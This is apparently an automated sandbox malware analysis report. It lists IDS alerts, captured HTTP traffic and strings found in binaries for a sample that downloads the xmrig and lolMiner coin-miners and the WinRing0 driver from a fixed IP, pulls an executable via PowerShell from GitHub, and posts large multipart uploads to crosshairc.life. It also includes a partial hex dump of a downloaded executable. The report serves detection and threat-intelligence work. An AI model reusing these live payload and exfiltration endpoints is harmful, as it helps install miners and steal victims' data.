63 00 00 00 e8 5c 00 00 00 40 af 00 e8 5c 00 00 00 fa 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 6c 8e 00 00 00 a0 af 00 00 90 00 00 00 58 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 13 Mar 2025 12:40:33 GMTContent-Type: application/octet-streamContent-Length: 14544Last-Modified: Wed, 15 Jan 2025 19:13:16 GMTConnection: keep-aliveETag: "678808cc-38d0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 35 3a 6e fc 71 5b 00 af 71 5b 00 af 71 5b 00 af 71 5b 01 af 7d 5b 00 af 56 9d 7b af 74 5b 00 af 56 9d 7d af 70 5b 00 af 56 9d 6d af 72 5b 00 af 56 9d 71 af 70 5b 00 af 56 9d 7c af 70 5b 00 af 56 9d 78 af 70 5b 00 af 52 69 63 68 71 5b 00 af 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 c1 26 8b 48 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 0c 00 00 00 0a 00 00 00 00 00 00 08 50 00 00 00 10 00 00 00 00 01 00 00 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 06 00 00 00 06 00 00 00 00 00 00 00 00 70 00 00 00 04 00 00 08 19 01 00 01 00 00 00 00 00 04 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 50 00 00 3c 00 00 00 00 60 00 00 c0 03 00 00 00 40 00 00 60 00 00 00 00 1a 00 00 d0 1e 00 00 00 00 00 00 00 00 00 00 70 20 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c6 06 00 00 00 10 00 00 00 08 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 7c 01 00 00 00 20 00 00 00 02 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 14 01 00 00 00 30 00 00 00 02 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 60 00 00 00 00 40 00 00 00 02 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 22 02 00 00 00 50 00 00 00 04 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e2 2e 72 73 72 63 00 00 00 c0 03 00 00 00 60 00 00 00 04 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /raw/YpJeSRBC HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveHost: 185.215.113.51
Source: global traffic HTTP traffic detected: GET /WinRing0x64.sys HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xmrig.exe HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View IP Address: 185.199.108.133 185.199.108.133
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49701 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56148 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56149 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49703 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56147 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56146 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:56150 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2829056 - Severity 2 - ETPRO MALWARE Observed Request for xmrig.exe in - Coinminer Download : 192.168.2.6:56153 -> 185.215.113.51:80
Source: Network traffic Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49699 -> 185.199.108.133:443
Source: Network traffic Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49698 -> 140.82.121.4:443
Source: Network traffic Suricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 185.199.108.133:443 -> 192.168.2.6:49699
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /deripascod/coderoom/refs/heads/main/notyhkkadaw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: crosshairc.life
Source: global traffic HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QiNSpt3q62pKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14899Host: crosshairc.life
Source: global traffic HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=10tYzmOt99xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15075Host: crosshairc.life
Source: global traffic HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=oNC5rKA7bI9O4z3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19952Host: crosshairc.life
Source: global traffic HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4tVhKNs2d98seKNJ7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2483Host: crosshairc.life
Source: global traffic HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9k9qEm8HiXBWTL9uW8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570092Host: crosshairc.life
Source: global traffic HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 99Host: crosshairc.life
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: global traffic HTTP traffic detected: GET /deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /deripascod/coderoom/refs/heads/main/notyhkkadaw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /raw/YpJeSRBC HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveHost: 185.215.113.51
Source: global traffic HTTP traffic detected: GET /WinRing0x64.sys HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xmrig.exe HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: github.com
Source: global traffic DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic DNS traffic detected: DNS query: crosshairc.life
Source: global traffic DNS traffic detected: DNS query: pastebin.com
Source: unknown HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: crosshairc.life
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 13 Mar 2025 12:40:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-frame-options: DENYx-frame-options: DENYx-content-type-options: nosniffx-content-type-options: nosniffx-xss-protection: 1;mode=blockx-xss-protection: 1;mode=blockcache-control: public, max-age=1801CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 91fb99afdd0d15e6-IAH
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51
Source: file_scaricato.exe, 0000000E.00000003.2090007117.00000000015E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/WatchDog.exe
Source: file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr String found in binary or memory: http://185.215.113.51/WatchDog.exeEhttp://185.215.113.51/lolMiner.exe?http://185.215.113.51/xmrig.ex
Source: file_scaricato.exe, 0000000E.00000003.2090007117.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732558298.0000000001614000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090249387.0000000001611000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/WatchDog.exeEhttp://==
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A36000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/WatchDog.exeP
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/WinRing0x64.sys
Source: file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr String found in binary or memory: http://185.215.113.51/WinRing0x64.sysChttps://pastebin.com/raw/YpJeSRBC
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A36000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/WinRing0x64.sysP
Source: file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732040983.00000000012FB000.00000004.00000010.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732348646.000000000156B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090317940.000000000156B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/conhost.exe
Source: file_scaricato.exe, 0000000E.00000002.3732558298.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/conhost.exe(
Source: file_scaricato.exe, 0000000E.00000002.3732558298.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/conhost.exeme
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/lolMiner.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/xmrig.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51/xmrig.exeP
Source: file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51:80/conhost.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A36000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.51D
Source: Arly.exe1.exe String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Arly.exe1.exe String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Arly.exe1.exe String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Arly.exe1.exe String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Arly.exe1.exe String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002ACE000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.15.dr String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002ACE000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.15.dr String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002ACE000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.15.dr String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002ACE000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.15.dr String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Arly.exe1.exe String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Arly.exe1.exe String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Arly.exe1.exe String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp, Arly.exe1.exe String found in binary or memory: http://ocsp.digicert.com0
Source: Arly.exe1.exe String found in binary or memory: http://ocsp.digicert.com0A
Source: Arly.exe1.exe String found in binary or memory: http://ocsp.entrust.net02
Source: Arly.exe1.exe String found in binary or memory: http://ocsp.entrust.net03
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029D4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pastebin.com
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029D4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pastebin.comd
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1687752482.0000000005421000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Arly.exe1.exe String found in binary or memory: http://www.digicert.com/CPS0
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp String found in binary or memory: http://www.enigmaprotector.com/
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp String found in binary or memory: http://www.enigmaprotector.com/openU
Source: Arly.exe1.exe String found in binary or memory: http://www.entrust.net/rpa03
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org?q=
Source: powershell.exe, 00000012.00000002.1687752482.0000000005421000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life/
Source: file_scaricato.exe, 0000000E.00000002.3732184735.0000000001544000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crosshairc.life/d
